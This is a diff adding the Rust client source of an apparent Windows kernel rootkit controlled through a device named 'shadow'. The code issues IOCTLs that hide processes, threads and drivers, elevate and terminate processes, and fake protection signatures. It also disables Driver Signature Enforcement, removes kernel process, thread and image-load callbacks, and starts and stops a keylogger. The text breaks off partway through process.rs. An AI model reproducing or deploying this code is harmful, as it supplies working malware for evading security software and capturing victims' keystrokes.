||||||
|
/// Terminate the process.
|
||||||
|
Terminate {
|
||||||
|
/// The process ID to terminate.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
},
|
||||||
|
/// Signature the process.
|
||||||
|
Signature {
|
||||||
|
/// The process ID to protect.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
|
||||||
|
/// The protection type.
|
||||||
|
#[arg(long, required = true)]
|
||||||
|
pt: PS_PROTECTED_TYPE,
|
||||||
|
|
||||||
|
/// The protection signer.
|
||||||
|
#[arg(long, required = true)]
|
||||||
|
sg: PS_PROTECTED_SIGNER,
|
||||||
|
},
|
||||||
|
/// Enable protection for the process.
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Protection {
|
||||||
|
/// The process ID for protection.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
|
||||||
|
/// Add protection.
|
||||||
|
#[arg(short, long)]
|
||||||
|
add: bool,
|
||||||
|
|
||||||
|
/// Remove protection.
|
||||||
|
#[arg(short, long)]
|
||||||
|
remove: bool,
|
||||||
|
},
|
||||||
|
/// Lists protected or hidden processes
|
||||||
|
Enumerate {
|
||||||
|
/// Enumerate Processes.
|
||||||
|
#[arg(long, required = true)]
|
||||||
|
list: bool,
|
||||||
|
// Options Enumerate
|
||||||
|
#[arg(long, required = true)]
|
||||||
|
option: Options,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing the subcommands for thread operations.
|
||||||
|
#[derive(Subcommand)]
|
||||||
|
pub enum ThreadCommands {
|
||||||
|
/// Hide the thread.
|
||||||
|
Hide {
|
||||||
|
/// The thread ID to hide.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
tid: u32,
|
||||||
|
},
|
||||||
|
/// Unhide the thread.
|
||||||
|
Unhide {
|
||||||
|
/// The thread ID to unhide.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
tid: u32,
|
||||||
|
},
|
||||||
|
/// Enable protection for the thread.
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Protection {
|
||||||
|
/// The thread ID for protection.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
tid: u32,
|
||||||
|
/// Add protection.
|
||||||
|
#[arg(short, long)]
|
||||||
|
add: bool,
|
||||||
|
/// Remove protection.
|
||||||
|
#[arg(short, long)]
|
||||||
|
remove: bool,
|
||||||
|
},
|
||||||
|
/// Lists protected or hidden processes
|
||||||
|
Enumerate {
|
||||||
|
/// Enumerate Processes.
|
||||||
|
#[arg(long, required = true)]
|
||||||
|
list: bool,
|
||||||
|
// Options Enumerate
|
||||||
|
#[arg(long, required = true)]
|
||||||
|
option: Options,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing the types of process protection.
|
||||||
|
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||||
|
pub enum PS_PROTECTED_TYPE {
|
||||||
|
/// No protection.
|
||||||
|
None = 0,
|
||||||
|
/// Light protection.
|
||||||
|
ProtectedLight = 1,
|
||||||
|
/// Full protection.
|
||||||
|
Protected = 2,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing the signers for process protection.
|
||||||
|
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||||
|
pub enum PS_PROTECTED_SIGNER {
|
||||||
|
/// No signer.
|
||||||
|
None = 0,
|
||||||
|
/// Authenticode signer.
|
||||||
|
Authenticode = 1,
|
||||||
|
/// Code generation signer.
|
||||||
|
CodeGen = 2,
|
||||||
|
/// Antimalware signer.
|
||||||
|
Antimalware = 3,
|
||||||
|
/// LSA signer.
|
||||||
|
Lsa = 4,
|
||||||
|
/// Windows signer.
|
||||||
|
Windows = 5,
|
||||||
|
/// WinTcb signer.
|
||||||
|
WinTcb = 6,
|
||||||
|
/// WinSystem signer.
|
||||||
|
WinSystem = 7,
|
||||||
|
/// Application signer.
|
||||||
|
App = 8,
|
||||||
|
/// Maximum value for signers.
|
||||||
|
Max = 9,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing callbacks
|
||||||
|
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||||
|
pub enum Callbacks {
|
||||||
|
/// Callback for PsSetCreateProcessNotifyRoutine.
|
||||||
|
Process,
|
||||||
|
/// Callback for PsSetCreateThreadNotifyRoutine.
|
||||||
|
Thread,
|
||||||
|
/// Callback for PsSetLoadImageNotifyRoutine.
|
||||||
|
LoadImage
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Callbacks {
|
||||||
|
pub fn to_shared(self) -> shared::vars::Callbacks {
|
||||||
|
match self {
|
||||||
|
Callbacks::Process => shared::vars::Callbacks::PsSetCreateProcessNotifyRoutine,
|
||||||
|
Callbacks::Thread => shared::vars::Callbacks::PsSetCreateThreadNotifyRoutine,
|
||||||
|
Callbacks::LoadImage => shared::vars::Callbacks::PsSetLoadImageNotifyRoutine,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing options enumeration
|
||||||
|
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||||
|
pub enum Options {
|
||||||
|
/// List of hidden targets
|
||||||
|
Hide,
|
||||||
|
/// List of protected targets
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Protection
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Options {
|
||||||
|
pub fn to_shared(self) -> shared::vars::Options {
|
||||||
|
match self {
|
||||||
|
Options::Hide => shared::vars::Options::Hide,
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Options::Protection => shared::vars::Options::Protection,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn validate_sys_extension(val: &str) -> Result<String, String> {
|
||||||
|
if val.ends_with(".sys") {
|
||||||
|
Ok(val.to_string())
|
||||||
|
} else {
|
||||||
|
Err(String::from("The driver file must have a .sys extension"))
|
||||||
|
}
|
||||||
|
}
|
||||||
147
client/src/driver.rs
Normal file
147
client/src/driver.rs
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
use {
|
||||||
|
core::mem::size_of,
|
||||||
|
shared::structs::{DriverInfo, TargetDriver, DSE},
|
||||||
|
std::{ffi::c_void, ptr::null_mut},
|
||||||
|
windows_sys::{
|
||||||
|
w,
|
||||||
|
Win32::{
|
||||||
|
Foundation::{
|
||||||
|
CloseHandle, GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE
|
||||||
|
},
|
||||||
|
Storage::FileSystem::{
|
||||||
|
CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}, System::IO::DeviceIoControl
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
let mut info_driver = TargetDriver {
|
||||||
|
name: name.to_string(),
|
||||||
|
enable
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_driver as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetDriver>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Driver successfully hidden / unhidden")
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn enumerate_driver(ioctl_code: u32) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
driver_info.as_mut_ptr() as *mut _,
|
||||||
|
(driver_info.len() * size_of::<DriverInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
let total_module = return_buffer as usize / size_of::<DriverInfo>();
|
||||||
|
println!("[+] Total modules: {}", total_module);
|
||||||
|
for i in driver_info.iter() {
|
||||||
|
if i.address > 0 {
|
||||||
|
let name = match String::from_utf16(&i.name) {
|
||||||
|
Ok(name) => name,
|
||||||
|
Err(err) => {
|
||||||
|
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn dse(ioctl_code: u32, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let mut info_dse = DSE {
|
||||||
|
enable
|
||||||
|
};
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_dse as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<DSE>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
if enable {
|
||||||
|
println!("[+] Driver Signature Enforcement (DSE) Enabled");
|
||||||
|
} else {
|
||||||
|
println!("[+] Driver Signature Enforcement (DSE) Disabled");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn open_driver() -> Result<HANDLE, ()> {
|
||||||
|
let h_file = unsafe {
|
||||||
|
CreateFileW(
|
||||||
|
w!("\\\\.\\shadow"),
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
null_mut(),
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
0
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if h_file == INVALID_HANDLE_VALUE {
|
||||||
|
unsafe { println!("[!] CreateFileW Failed With Error: {:?}", GetLastError()) };
|
||||||
|
return Err(());
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(h_file)
|
||||||
|
}
|
||||||
38
client/src/keylogger.rs
Normal file
38
client/src/keylogger.rs
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
use {
|
||||||
|
std::{ffi::c_void, ptr::null_mut},
|
||||||
|
windows_sys::Win32::System::IO::DeviceIoControl,
|
||||||
|
shared::structs::Keylogger,
|
||||||
|
crate::driver::open_driver,
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn keylogger(ioctl_code: u32, state: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed open driver");
|
||||||
|
let status;
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let mut keylogger = Keylogger {
|
||||||
|
enable: state
|
||||||
|
};
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut keylogger as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<Keylogger>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
if state {
|
||||||
|
println!("[+] Keylogger start");
|
||||||
|
} else {
|
||||||
|
println!("[+] Keylogger stop");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
199
client/src/main.rs
Normal file
199
client/src/main.rs
Normal file
@@ -0,0 +1,199 @@
|
|||||||
|
use {
|
||||||
|
clap::Parser,
|
||||||
|
shared::ioctls::*,
|
||||||
|
module::enumerate_module,
|
||||||
|
cli::{Cli, Commands, ProcessCommands, ThreadCommands},
|
||||||
|
driver::{dse, enumerate_driver, unhide_hide_driver},
|
||||||
|
keylogger::keylogger,
|
||||||
|
process::{
|
||||||
|
elevate_process,
|
||||||
|
enumerate_process, hide_unhide_process,
|
||||||
|
signature_process, terminate_process
|
||||||
|
},
|
||||||
|
thread::{enumerate_thread, hide_unhide_thread},
|
||||||
|
callback::{enumerate_callback, remove_callback, restore_callback}
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
mod registry;
|
||||||
|
mod callback;
|
||||||
|
mod cli;
|
||||||
|
mod driver;
|
||||||
|
mod process;
|
||||||
|
mod keylogger;
|
||||||
|
mod thread;
|
||||||
|
mod module;
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
use {
|
||||||
|
registry::{registry_protection_value, registry_protection_key},
|
||||||
|
process::protection_process,
|
||||||
|
thread::protection_thread,
|
||||||
|
};
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
let args = Cli::parse();
|
||||||
|
|
||||||
|
match &args.command {
|
||||||
|
Commands::Process { sub_command } => match sub_command {
|
||||||
|
ProcessCommands::Elevate { pid } => {
|
||||||
|
println!("[+] Elevate Process: {pid}");
|
||||||
|
elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS);
|
||||||
|
},
|
||||||
|
ProcessCommands::Hide { pid } => {
|
||||||
|
println!("[+] Hide Process: {pid}");
|
||||||
|
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true);
|
||||||
|
},
|
||||||
|
ProcessCommands::Unhide { pid } => {
|
||||||
|
println!("[+] UnHide Process: {pid}");
|
||||||
|
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false);
|
||||||
|
},
|
||||||
|
ProcessCommands::Terminate { pid } => {
|
||||||
|
println!("[+] Terminate Process: {pid}");
|
||||||
|
terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS);
|
||||||
|
},
|
||||||
|
ProcessCommands::Signature { pid, pt, sg } => {
|
||||||
|
println!("[+] Signature Process: {pid}");
|
||||||
|
signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt);
|
||||||
|
},
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
ProcessCommands::Protection { pid, add, remove } => {
|
||||||
|
println!("[+] Protection Process: {pid}");
|
||||||
|
if *add {
|
||||||
|
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true);
|
||||||
|
} else if *remove {
|
||||||
|
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false);
|
||||||
|
} else {
|
||||||
|
eprintln!("[-] No action provided");
|
||||||
|
}
|
||||||
|
},
|
||||||
|
ProcessCommands::Enumerate { list, option } => {
|
||||||
|
println!("[+] Enumerate Process");
|
||||||
|
if *list {
|
||||||
|
enumerate_process(IOCTL_ENUMERATION_PROCESS, option);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Commands::Thread { sub_command } => match sub_command {
|
||||||
|
ThreadCommands::Hide { tid } => {
|
||||||
|
println!("[+] Hide Thread: {tid}");
|
||||||
|
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true);
|
||||||
|
},
|
||||||
|
ThreadCommands::Unhide { tid } => {
|
||||||
|
println!("[+] Unhide Thread: {tid}");
|
||||||
|
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false);
|
||||||
|
},
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
ThreadCommands::Protection { tid , add, remove } => {
|
||||||
|
if *add {
|
||||||
|
protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, true);
|
||||||
|
} else if *remove {
|
||||||
|
protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false);
|
||||||
|
} else {
|
||||||
|
eprintln!("[-] No action provided");
|
||||||
|
}
|
||||||
|
},
|
||||||
|
ThreadCommands::Enumerate { list, option } => {
|
||||||
|
println!("[+] Enumerate Thread");
|
||||||
|
if *list {
|
||||||
|
enumerate_thread(IOCTL_ENUMERATION_THREAD, option);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Commands::Driver { hide, unhide, list, name } => {
|
||||||
|
if *hide {
|
||||||
|
println!("[+] Hide Driver");
|
||||||
|
match name {
|
||||||
|
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true),
|
||||||
|
None => {
|
||||||
|
eprintln!("[-] No action provided for driver.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if *unhide {
|
||||||
|
println!("[+] Unhide Driver");
|
||||||
|
match name {
|
||||||
|
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false),
|
||||||
|
None => {
|
||||||
|
eprintln!("[-] No action provided for driver.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if *list {
|
||||||
|
println!("[+] Enumerate Driver");
|
||||||
|
enumerate_driver(IOCTL_ENUMERATE_DRIVER);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Commands::DSE { disable, enable } => {
|
||||||
|
if *enable {
|
||||||
|
println!("[+] Enable DSE");
|
||||||
|
dse(IOCTL_ENABLE_DSE, true);
|
||||||
|
} else if *disable {
|
||||||
|
println!("[+] Disable DSE");
|
||||||
|
dse(IOCTL_ENABLE_DSE, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Commands::Keylogger { stop, start } => {
|
||||||
|
if *start {
|
||||||
|
println!("[+] Start Keylogger");
|
||||||
|
keylogger(IOCTL_KEYLOGGER, true);
|
||||||
|
} else if *stop {
|
||||||
|
println!("[+] Stop Keylogger");
|
||||||
|
keylogger(IOCTL_KEYLOGGER, false);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Commands::Registry { name, add, remove, key } => {
|
||||||
|
if *add && *remove {
|
||||||
|
eprintln!("[-] Error: Both add and remove options cannot be specified at the same time");
|
||||||
|
} else if *add {
|
||||||
|
match name {
|
||||||
|
Some(ref name_value) => {
|
||||||
|
registry_protection_value(IOCTL_REGISTRY_PROTECTION_VALUE, name_value, &key, true);
|
||||||
|
},
|
||||||
|
None => {
|
||||||
|
registry_protection_key(IOCTL_REGISTRY_PROTECTION_KEY, &key, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if *remove {
|
||||||
|
match name {
|
||||||
|
Some(ref name_value) => {
|
||||||
|
registry_protection_value(IOCTL_REGISTRY_PROTECTION_VALUE, name_value, &key, false);
|
||||||
|
},
|
||||||
|
None => {
|
||||||
|
registry_protection_key(IOCTL_REGISTRY_PROTECTION_KEY, &key, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
eprintln!("[-] Error: Either add or remove must be specified");
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Commands::Module { pid } => {
|
||||||
|
enumerate_module(IOCTL_ENUMERATE_MODULE, pid);
|
||||||
|
}
|
||||||
|
Commands::Callback { list, remove, restore, callback } => {
|
||||||
|
if *list {
|
||||||
|
println!("[+] Enumerate Callback");
|
||||||
|
enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
match (remove, restore) {
|
||||||
|
(Some(index), None) => {
|
||||||
|
println!("[+] Remove Callback: {index}");
|
||||||
|
remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback);
|
||||||
|
},
|
||||||
|
(None, Some(index)) => {
|
||||||
|
println!("[+] Restore Callback: {index}");
|
||||||
|
restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback);
|
||||||
|
},
|
||||||
|
(Some(_), Some(_)) => {
|
||||||
|
eprintln!("[-] Error: Cannot remove and restore at the same time.");
|
||||||
|
},
|
||||||
|
(None, None) => {
|
||||||
|
eprintln!("[-] No action provided for callback.");
|
||||||
|
},
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
50
client/src/module.rs
Normal file
50
client/src/module.rs
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
use {
|
||||||
|
crate::driver::open_driver,
|
||||||
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
|
shared::structs::{ModuleInfo, TargetProcess},
|
||||||
|
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn enumerate_module(ioctl_code: u32, pid: &u32) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut input_module = TargetProcess {
|
||||||
|
pid: *pid as usize
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut input_module as *mut _ as *mut c_void,
|
||||||
|
size_of::<TargetProcess>() as u32,
|
||||||
|
module_info.as_mut_ptr() as *mut _,
|
||||||
|
(module_info.len() * size_of::<ModuleInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
let total_module = return_buffer as usize / size_of::<ModuleInfo>();
|
||||||
|
println!("[+] Total modules: {}", total_module);
|
||||||
|
for i in module_info.iter() {
|
||||||
|
if i.address > 0 {
|
||||||
|
let name = match String::from_utf16(&i.name) {
|
||||||
|
Ok(name) => name,
|
||||||
|
Err(err) => {
|
||||||
|
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
256
client/src/process.rs
Normal file
256
client/src/process.rs
Normal file
@@ -0,0 +1,256 @@
|
|||||||
|
use {
|
||||||
|
crate::{
|
||||||
|
cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE},
|
||||||
|
driver::open_driver
|
||||||
|
},
|
||||||
|
shared::{
|
||||||
|
structs::{
|
||||||
|
EnumerateInfoInput, ProcessListInfo, TargetProcess,
|
||||||
|
ProcessInfoHide, ProcessSignature,
|
||||||
|
},
|
||||||
|
vars::MAX_PIDS
|
||||||
|
},
|
||||||
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
|
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = ProcessInfoHide::default();
|
||||||
|
target_process.enable = if enable {
|
||||||
|
true
|
||||||
|
} else {
|
||||||
|
false
|
||||||
|
};
|
||||||
|
|
||||||
|
target_process.pid = pid;
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<ProcessInfoHide>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
if enable {
|
||||||
|
println!("[+] Process with PID {pid} successfully hidden");
|
||||||
|
} else {
|
||||||
|
println!("[+] Process with PID {pid} successfully unhidden");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[-] PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = TargetProcess {
|
||||||
|
pid,
|
||||||
|
};
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetProcess>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Process with PID {pid} terminated successfully");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[-] PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = shared::structs::ProcessProtection {
|
||||||
|
pid,
|
||||||
|
enable
|
||||||
|
};
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<shared::structs::ProcessProtection>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Process PID {pid} with anti-kill and dumping functions enabled");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[-] PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn enumerate_process(ioctl_code: u32, option: &Options) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut enumeration_input = EnumerateInfoInput {
|
||||||
|
options: option.to_shared()
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut enumeration_input as *mut _ as *mut c_void,
|
||||||
|
size_of::<EnumerateInfoInput>() as u32,
|
||||||
|
info_process.as_mut_ptr() as *mut _,
|
||||||
|
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
|
||||||
|
println!("[+] Total Processes: {}", total_process);
|
||||||
|
for i in 0..total_process {
|
||||||
|
